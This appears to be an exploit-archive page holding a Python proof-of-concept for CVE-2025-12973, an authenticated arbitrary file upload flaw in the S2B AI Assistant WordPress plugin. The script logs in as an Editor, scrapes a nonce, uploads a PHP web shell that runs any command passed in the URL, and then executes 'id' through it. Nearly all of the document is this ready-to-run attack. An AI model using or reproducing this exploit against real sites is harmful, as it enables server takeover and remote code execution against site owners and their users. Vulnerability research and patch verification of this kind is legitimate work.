4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-12973.py PY
# Exploit Title: S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Content & Image Generator <= 1.7.7 - Authenticated (Editor+) Arbitrary File Upload
# Date: 11/09/2025
# Exploit Author: Ryan Kozak
# Vendor Homepage: https://wordpress.org/plugins/s2b-ai-assistant/
# Version: <= 1.7.7
# CVE : CVE-2025-12973

import requests
import re
import sys
import argparse
from urllib.parse import urljoin

def main():
    parser = argparse.ArgumentParser(description='CVE-2025-XXXXX - S2B AI Assistant Plugin File Upload Exploit')
    parser.add_argument('url', help='Target WordPress URL (e.g., http://example.com)')
    parser.add_argument('username', help='WordPress username')
    parser.add_argument('password', help='WordPress password')
    
    args = parser.parse_args()
    
    print(f"[+] Target: {args.url}")
    print(f"[+] Username: {args.username}")
    
    # Login to WordPress
    session = requests.Session()
    
    login_data = {
        'log': args.username,
        'pwd': args.password,
        'wp-submit': 'Log In',
        'redirect_to': urljoin(args.url, '/wp-admin/'),
        'testcookie': '1'
    }
    
    session.post(urljoin(args.url, '/wp-login.php'), data=login_data)
    
    # Get nonce from chatbot page
    chatbot_url = urljoin(args.url, '/wp-admin/admin.php?page=s2baia_chatbot')
    response = session.get(chatbot_url)
    
    # Look for nonce in the page content (Assistant API tab)
    nonce_match = re.search(r'name=["\']s2b_chatbot_assistant_nonce["\']\s+value=["\']([^"\']+)["\']', response.text)
    if not nonce_match:
        # Try alternative nonce patterns
        nonce_match = re.search(r's2b_chatbot_assistant_nonce["\']?\s*:\s*["\']([^"\']+)["\']', response.text)
        if not nonce_match:
            nonce_match = re.search(r'value=["\']([^"\']+)["\']\s+name=["\']s2b_chatbot_assistant_nonce["\']', response.text)
    
    if not nonce_match:
        print("[-] Failed to get nonce from chatbot page")
        print("[-] Make sure you have Editor role or higher")
        sys.exit(1)
    
    nonce = nonce_match.group(1)
    print(f"[+] Nonce obtained: {nonce}")
    
    # Upload malicious file
    upload_url = urljoin(args.url, '/wp-admin/admin-post.php')
    
    files = {
        's2baia_chatbot_config_database': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
    }
    
    data = {
        's2b_chatbot_assistant_nonce': nonce,
        's2b_chatbot_hash': 'assistant',
        'action': 's2b_store_chatbot_upload'
    }
    
    response = session.post(upload_url, files=files, data=data, allow_redirects=True)
    
    # File is stored in wp-content/uploads/ directory
    # WordPress typically organizes uploads by year/month
    import datetime
    now = datetime.datetime.now()
    uploads_base = urljoin(args.url, '/wp-content/uploads/')
    shell_url = f"{uploads_base}{now.year}/{now.month:02d}/shell.php"
    
    print(f"[+] File uploaded successfully!")
    print(f"[+] Shell URL: {shell_url}")
    
    # Test the shell
    test_url = f"{shell_url}?cmd=id"
    test_response = session.get(test_url)
    if test_response.status_code == 200:
        print(f"[+] Command output:")
        print(test_response.text.strip())
    else:
        print(f"[!] Shell may be at a different location")
        print(f"[!] Check: {uploads_base}")

if __name__ == "__main__":
    main()